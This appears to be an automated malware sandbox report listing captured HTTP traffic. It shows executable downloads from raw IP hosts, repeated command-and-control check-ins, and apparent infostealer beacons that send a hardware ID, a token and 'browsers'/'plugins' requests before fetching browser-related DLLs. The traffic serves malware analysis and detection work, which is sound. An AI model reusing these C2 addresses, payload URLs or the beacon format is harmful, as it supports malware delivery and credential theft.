Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 05 Nov 2024 19:52:55 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 05 Nov 2024 19:53:00 GMTContent-Type: application/octet-streamContent-Length: 3301888Last-Modified: Tue, 05 Nov 2024 18:57:44 GMTConnection: keep-aliveETag: "672a6aa8-326200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 70 32 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 32 00 00 04 00 00 b8 4d 33 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fc 53 32 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ac 53 32 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 80 06 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 90 06 00 00 02 00 00 00 90 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 92 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 6c 66 6a 62 68 6b 76 62 00 b0 2b 00 00 b0 06 00 00 a6 2b 00 00 94 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 78 61 6b 63 64 66 6f 77 00 10 00 00 00 60 32 00 00 06 00 00 00 3a 32 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 70 32 00 00 22 00 00 00 40 32 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 36 32 37 37 35 42 35 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB62775B55C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 34 31 39 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1004194001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 34 31 39 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1004195001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16If-Modified-Since: Tue, 05 Nov 2024 18:57:36 GMTIf-None-Match: "672a6aa0-20ec00"
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IIJEBFCFIJJJEBGDBAKEHost: 185.215.113.206Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 49 4a 45 42 46 43 46 49 4a 4a 4a 45 42 47 44 42 41 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 43 45 45 36 36 44 45 35 30 33 39 37 38 36 32 35 34 35 31 33 0d 0a 2d 2d 2d 2d 2d 2d 49 49 4a 45 42 46 43 46 49 4a 4a 4a 45 42 47 44 42 41 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 49 49 4a 45 42 46 43 46 49 4a 4a 4a 45 42 47 44 42 41 4b 45 2d 2d 0d 0a Data Ascii: ------IIJEBFCFIJJJEBGDBAKEContent-Disposition: form-data; name="hwid"DCEE66DE5039786254513------IIJEBFCFIJJJEBGDBAKEContent-Disposition: form-data; name="build"tale------IIJEBFCFIJJJEBGDBAKE--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IJEHCGIJECFIECBFIDGDHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 4a 45 48 43 47 49 4a 45 43 46 49 45 43 42 46 49 44 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 38 61 61 61 30 34 30 61 33 34 38 63 30 61 30 32 61 39 35 63 66 61 62 36 35 66 37 36 38 61 63 65 31 65 30 31 62 36 35 33 32 35 34 37 61 37 30 36 30 32 35 36 66 61 65 34 39 64 66 37 32 65 39 34 35 62 62 36 61 65 38 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 45 48 43 47 49 4a 45 43 46 49 45 43 42 46 49 44 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 45 48 43 47 49 4a 45 43 46 49 45 43 42 46 49 44 47 44 2d 2d 0d 0a Data Ascii: ------IJEHCGIJECFIECBFIDGDContent-Disposition: form-data; name="token"68aaa040a348c0a02a95cfab65f768ace1e01b6532547a7060256fae49df72e945bb6ae8------IJEHCGIJECFIECBFIDGDContent-Disposition: form-data; name="message"browsers------IJEHCGIJECFIECBFIDGD--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GCFCFCGCGIEHIECAFCFIHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 43 46 43 46 43 47 43 47 49 45 48 49 45 43 41 46 43 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 38 61 61 61 30 34 30 61 33 34 38 63 30 61 30 32 61 39 35 63 66 61 62 36 35 66 37 36 38 61 63 65 31 65 30 31 62 36 35 33 32 35 34 37 61 37 30 36 30 32 35 36 66 61 65 34 39 64 66 37 32 65 39 34 35 62 62 36 61 65 38 0d 0a 2d 2d 2d 2d 2d 2d 47 43 46 43 46 43 47 43 47 49 45 48 49 45 43 41 46 43 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 47 43 46 43 46 43 47 43 47 49 45 48 49 45 43 41 46 43 46 49 2d 2d 0d 0a Data Ascii: ------GCFCFCGCGIEHIECAFCFIContent-Disposition: form-data; name="token"68aaa040a348c0a02a95cfab65f768ace1e01b6532547a7060256fae49df72e945bb6ae8------GCFCFCGCGIEHIECAFCFIContent-Disposition: form-data; name="message"plugins------GCFCFCGCGIEHIECAFCFI--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BGDAKEHIIDGDAAKECBFBHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 47 44 41 4b 45 48 49 49 44 47 44 41 41 4b 45 43 42 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 38 61 61 61 30 34 30 61 33 34 38 63 30 61 30 32 61 39 35 63 66 61 62 36 35 66 37 36 38 61 63 65 31 65 30 31 62 36 35 33 32 35 34 37 61 37 30 36 30 32 35 36 66 61 65 34 39 64 66 37 32 65 39 34 35 62 62 36 61 65 38 0d 0a 2d 2d 2d 2d 2d 2d 42 47 44 41 4b 45 48 49 49 44 47 44 41 41 4b 45 43 42 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 42 47 44 41 4b 45 48 49 49 44 47 44 41 41 4b 45 43 42 46 42 2d 2d 0d 0a Data Ascii: ------BGDAKEHIIDGDAAKECBFBContent-Disposition: form-data; name="token"68aaa040a348c0a02a95cfab65f768ace1e01b6532547a7060256fae49df72e945bb6ae8------BGDAKEHIIDGDAAKECBFBContent-Disposition: form-data; name="message"fplugins------BGDAKEHIIDGDAAKECBFB--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AFBKKFBAEGDHJJJJKFBKHost: 185.215.113.206Content-Length: 7535Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 34 31 39 36 30 33 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1004196031&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 34 31 39 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1004197001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GIEHJKEBAAEBGCAAEBFHHost: 185.215.113.206Content-Length: 991Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 36 32 37 37 35 42 35 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB62775B55C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BKKJDBFBKKJEBFHJEHJDHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 4b 4b 4a 44 42 46 42 4b 4b 4a 45 42 46 48 4a 45 48 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 38 61 61 61 30 34 30 61 33 34 38 63 30 61 30 32 61 39 35 63 66 61 62 36 35 66 37 36 38 61 63 65 31 65 30 31 62 36 35 33 32 35 34 37 61 37 30 36 30 32 35 36 66 61 65 34 39 64 66 37 32 65 39 34 35 62 62 36 61 65 38 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4b 4a 44 42 46 42 4b 4b 4a 45 42 46 48 4a 45 48 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4b 4a 44 42 46 42 4b 4b 4a 45 42 46 48 4a 45 48 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4b 4a 44 42 46 42 4b 4b 4a 45 42 46 48 4a 45 48 4a 44 2d 2d 0d 0a Data Ascii: ------BKKJDBFBKKJEBFHJEHJDContent-Disposition: form-data; name="token"68aaa040a348c0a02a95cfab65f768ace1e01b6532547a7060256fae49df72e945bb6ae8------BKKJDBFBKKJEBFHJEHJDContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------BKKJDBFBKKJEBFHJEHJDContent-Disposition: form-data; name="file"------BKKJDBFBKKJEBFHJEHJD--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 36 32 37 37 35 42 35 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB62775B55C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HCAEGCBFHJDGCBFHDAFBHost: 185.215.113.206Content-Length: 3087Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 36 32 37 37 35 42 35 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB62775B55C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HIIIJDAAAAAAKECBFBAEHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 49 49 49 4a 44 41 41 41 41 41 41 4b 45 43 42 46 42 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 38 61 61 61 30 34 30 61 33 34 38 63 30 61 30 32 61 39 35 63 66 61 62 36 35 66 37 36 38 61 63 65 31 65 30 31 62 36 35 33 32 35 34 37 61 37 30 36 30 32 35 36 66 61 65 34 39 64 66 37 32 65 39 34 35 62 62 36 61 65 38 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 49 4a 44 41 41 41 41 41 41 4b 45 43 42 46 42 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 49 4a 44 41 41 41 41 41 41 4b 45 43 42 46 42 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 49 4a 44 41 41 41 41 41 41 4b 45 43 42 46 42 41 45 2d 2d 0d 0a Data Ascii: ------HIIIJDAAAAAAKECBFBAEContent-Disposition: form-data; name="token"68aaa040a348c0a02a95cfab65f768ace1e01b6532547a7060256fae49df72e945bb6ae8------HIIIJDAAAAAAKECBFBAEContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------HIIIJDAAAAAAKECBFBAEContent-Disposition: form-data; name="file"------HIIIJDAAAAAAKECBFBAE--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 36 32 37 37 35 42 35 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB62775B55C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
